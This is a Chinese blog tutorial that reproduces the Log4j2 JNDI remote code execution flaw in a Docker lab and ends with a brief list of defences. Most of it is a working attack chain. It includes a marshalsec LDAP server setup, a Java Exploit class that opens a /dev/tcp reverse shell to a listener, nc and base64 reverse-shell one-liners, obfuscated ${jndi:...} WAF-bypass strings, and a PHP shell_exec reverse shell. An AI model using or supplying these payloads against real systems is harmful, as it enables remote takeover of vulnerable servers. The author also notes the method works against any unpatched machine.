log4j 2 远程代码执行漏洞原理与搭建反弹shell

本文详细阐述了Log4j2漏洞原理,指导初学者如何搭建靶机环境,通过JNDI服务器转发恶意命令并利用JAVA病毒下载执行。重点介绍了搭建反弹服务器的过程,包括JNDI服务器配置、JAVA病毒编写和下载服务器部署。最后提供POSTMAN测试步骤,确保漏洞利用成功。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

log4j2漏洞出来有一段时间了, 该修复的都修复的差不多了, 是时候可以公开让大家了解下原理以及如何构建整套体系了.
本文虽然是靶机, 但原理上还是可以攻击其它漏洞机器的. 建议测试即可, 不然你就很刑了,这无狱无囚的日子是越来越有判头了 ^_^). 本文阅读者功底为初入门级安全人员, LINUX基础完备, 具备简单java开发技能最好, 但本漏洞复现只需代码略看得懂即可 ,python 会使用,普通工具会使用.

# 简单原理:

1. 受害人机器(靶机)上执行一条命令
2. 该命令被转发到你搭建的服务器
3. 你建立的服务器包括两个功能, 一个是接收这条受害指令, 二个跑到其它地方下载病毒(也是你可控制)
4. 你服务器自动把病毒上传到受害人机器, 受害人自动就执行了这条病毒
5. 这病毒是个一个反弹SHELL, 于是你完全接管了受害人(靶机)这台机器

# 总体思路:

完成实现上面的思路
1. 建立一台测试机, 用docker下载一个镜像, 该镜像是一个WEB网站, 收到你发送的登录信息就会打印log,恰好这是个漏洞, 你传了一条特意构造的语句, 它就会访问你的服务器A. 建好后, 使用postman 工具 发送POST指令模拟登录信息
2. 你的服务器A搭建两个服务, 一个服务是中间件JNDI服务器, 另一个服务是下载病毒python服务
3. 写一个简单的JAVA文件, 编译成class, 放到病毒服务器的下载目录 
4. 上面部分已经完全够用, 如你写的JAVA文件是个touch /tmp/frank . 或者是打开个计算器calc,它就已经是会被执行
5. 本文还想更进一步. 让它反弹到你的其它服务器, 就需要搭建一台服务器来接受反弹
6. 反弹成功后就可以完全控制受害人机器(靶机)

#  简单服务器说明:
1. 反弹机器 kali : 192.168.0.31
2. 控制机器 centos : 192.168.0.34
3. centos 目录: /home/frank/log4j/

# 实现方式

## 1. 下载一个有漏洞的docker 镜像
docker pull registry.cn-hangzhou.aliyuncs.com/fengxuan/log4j_vuln
docker run -it -d -p 8100:8080 --name log4j_vuln_container registry.cn-hangzhou.aliyuncs.com/fengxuan/log4j_vuln 
docker exec -it log4j_vuln_container /bin/bash
进去后下载点工具, 万一运行不起来还能看下原因
yum install net-tools -y
yum install tree -y
yum install telnet -y
/bin/bash /home/apache-tomcat-8.5.45/bin/startup.sh 

如果有问题可以尝试关了再开
/bin/bash /home/apache-tomcat-8.5.45/bin/shutdown.sh

## 2. 搭建一台接收服务器
### 2.1 搭建JNDI服务器
(这个工具可不仅是JNDI这么简单, 还有很强的功能, 但为了不让大家头大, 就当它是JNDI工具即可)

下载 地址: https://codeload.github.com/RandomRobbieBF/marshalsec-jar/zip/refs/heads/master
下载成功后是一个ZIP包. marshalsec-jar-master.zip, 里面包含marshalsec-0.0.3-SNAPSHOT-all.jar 
上传到centos /home/frank/log4j/ 目录下, 运行
cd /home/frank/log4j/
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://192.168.0.34:7777/#Exploit 8888

如果直接可以用就恭喜你.

 但是.... but....

如果机器不同, 不能用. 就只能直接去下载源码编译, 这就更麻烦了. 要下载maven

下载页面:  GitHub - mbechler/marshalsec
JNDI下载地址 https://github.com/mbechler/marshalsec/archive/refs/heads/master.zip

https://github.com/mbechler/marshalsec/archive/refs/heads/master.zip

安装maven
yum install  java-1.8.0-openjdk -y
yum install java-1.8.0-openjdk-devel.x86_64 -y
yum install maven -y
添加MAVEN的阿里源
vi /etc/maven/settings.xml

  <mirror>
      <id>aliyunmaven</id>
      <mirrorOf>*</mirrorOf>
      <name>阿里云公共仓库</name>
      <url>https://maven.aliyun.com/repository/public</url>
    </mirror>

把marshalsec-master.zip 放到/home/frank/log4j/目录下

cd /home/frank/log4j/
unzip marshalsec-master.zip
cd marshalsec-master/
mvn clean package -DskipTests
成功会成生target/ 目录 
java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://192.168.0.34:7777/#Exploit 8888

如下表示成功

### 2.2 写个JAVA病毒程序

cd /home/frank/log4j
vi Exploit.java
public class Exploit {
  public Exploit(){
    try{

    String[] commands = {"bash","-c","exec 5<>/dev/tcp/192.168.0.31/9999;cat <&5 | while read line; do $line 2>&5 >&5; done"};
      for (int i=0; i<commands.length;i++) {
          System.out.println(commands[i]);
      }

      System.out.println("======");

      Process pc = Runtime.getRuntime().exec(commands);
      pc.waitFor();
   } catch(Exception e){
      e.printStackTrace();
   }
 }
  public static void main(String[] argv) {
    Exploit e = new Exploit();
 }

}

编译

javac Exploit.java
得到 Exploit.class (成功,结束)
commands 里有自己各种变种, 就不教太多了, 这得自己去努力, 不能太便宜脚本小子去害人,  自己去查资料学习吧.

这里有坑, 尝试下面的一直不行. 但我在docker 里面用命令行测试多个都是100% 反弹成功的, 非常奇怪.  难道涉及逃逸? 一直没想通, 起码浪费了我一上午的调试时间, 网上搜索了很久, 才看到有个高手提醒, 不能这样用, 只能用上面的才能反弹,但没说原理

sh -i >& /dev/tcp/192.168.0.31/9999 0>&1
bash -c "{echo,c2ggLWkgPiYgL2Rldi90Y3AvMTkyLjE2OC4wLjMxLzk5OTkgMD4mMQ==}|{base64,-d}|{bash,-i}"

另外也有绕过的资料以供参考
${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://asdasd.asdasd.asdasd/poc}
${${::-j}ndi:rmi://asdasd.asdasd.asdasd/ass}
${jndi:rmi://adsasd.asdasd.asdasd}
${${lower:jndi}:${lower:rmi}://adsasd.asdasd.asdasd/poc}
${${lower:${lower:jndi}}:${lower:rmi}://adsasd.asdasd.asdasd/poc}
${${lower:j}${lower:n}${lower:d}i:${lower:rmi}://adsasd.asdasd.asdasd/poc}
${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://xxxxxxx.xx/poc}

还有变种
nc 192.168.0.31 9999 -e /bin/sh
${jndi:ldap://192.168.0.31:8888/Basic/Command/Base64/bmMgMTkyLjE2OC4wLjMxIDk5OTkgLWUgL2Jpbi9zaA==}

 ### 2.3 搭建下载服务器
cd /home/frank/log4j
python3 -m http.server 7777

如下表示成功

###2.4 准备攻击! 使用POSTMAN测试
先看一下docker 是否正常

 POSTMAN 要使用POST 只需要设置地址http://192.168.0.34:8100/webstudy/hello-fengxuan, 参数为c , 参数为 ${jndi:ldap://192.168.0.34:8888/Exploit}

先测试下WEB服务是否正常,先用GET测试,以下为正常

 再用POST测试, 如下所示则证明WEB正常

动手!!!
参数改成 ${jndi:ldap://192.168.0.34:8888/Exploit}

 记住, 指向JNDI服务器就可以

如果有反弹则成功, 有的POSTMAN版本要URL编码, 则编码一次再SEND

 如果攻击成功,则立即收到2条消息 

 

--->  反弹成功!

在192.168.0.31 这台Kali机器收到消息

到此, 整个环境就搭建成功, 也测试通过了. 

以上的, 如果把靶机换成其它机器, 把你的服务器换成外网, 则完全是可以控制任何机器. 还好, 为了怕你干坏事, 不是所有机器都能成功.因为必须要求受害机上的版本比较低,自己去研究吧, 我看刑, 可狱不可囚,日子很有判头, 我会去看望你的.

我是小风, 感谢帮助过我的那些网络上的无名前辈与过客. 希望您也能无私帮助他人,别学我这么懒. :^-^) 

### 关于命令执行漏洞反弹Shell原理 当存在命令执行漏洞时,攻击者能够通过特定构造的输入来控制服务器端执行任意系统指令。对于反弹Shell而言,其核心在于利用该漏洞使受害主机主动向攻击者的机器发起连接并提供交互式的命令行环境。 #### 反弹Shell的工作机制 通常情况下,攻击者会构建一条特殊的命令字符串发送至目标应用程序中的易受攻击部分。这条命令不仅包含了建立反向外壳所需的操作序列,还可能携带有关源地址、目的地址以及监听端口的信息。一旦这些恶意载荷被成功注入并通过`shell_exec()`或其他类似的函数得以运行,则会在受害者计算机上启动一个新的进程,并将其标准输入/输出重定向到网络套接字上[^2]。 例如,在Linux环境下,可以通过下面这样的PHP代码片段实现简单的bash反弹: ```php <?php shell_exec('bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1'); ?> ``` 这段脚本会让受影响的服务程序调用bash解释器创建一个互动终端,并将此终端的标准流绑定到由IP和Port定义的一个TCP客户端连接之上。 ### 防护措施建议 为了有效防止此类攻击的发生,可以从以下几个方面着手加强系统的安全性: - **最小权限原则**:确保Web服务及其依赖组件仅拥有完成工作所必需最低限度的权利;避免以root或者管理员身份运行任何不必要的后台处理逻辑。 - **输入验证清理**:严格过滤所有来自外部世界的请求数据,特别是那些最终会被拼接到操作系统级API调用里的参数值。采用白名单方式限定允许接收的内容模式,拒绝一切不符合预期格式的东西进入内部流程中去。 - **禁用危险功能**:如果业务场景确实不需要动态解析或编译用户提交过来的语言结构体的话,那么应当考虑关闭像eval()这样潜在风险较高的特性开关。 - **定期更新补丁**:时刻关注官方发布的安全公告和技术文档,及时安装针对已知弱点修复过的版本包,减少暴露在外的风险敞口面积。 - **日志监控审计**:建立健全的日志记录体系,密切跟踪异常行为轨迹变化趋势,以便快速响应突发事件并追溯历史事件真相。
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值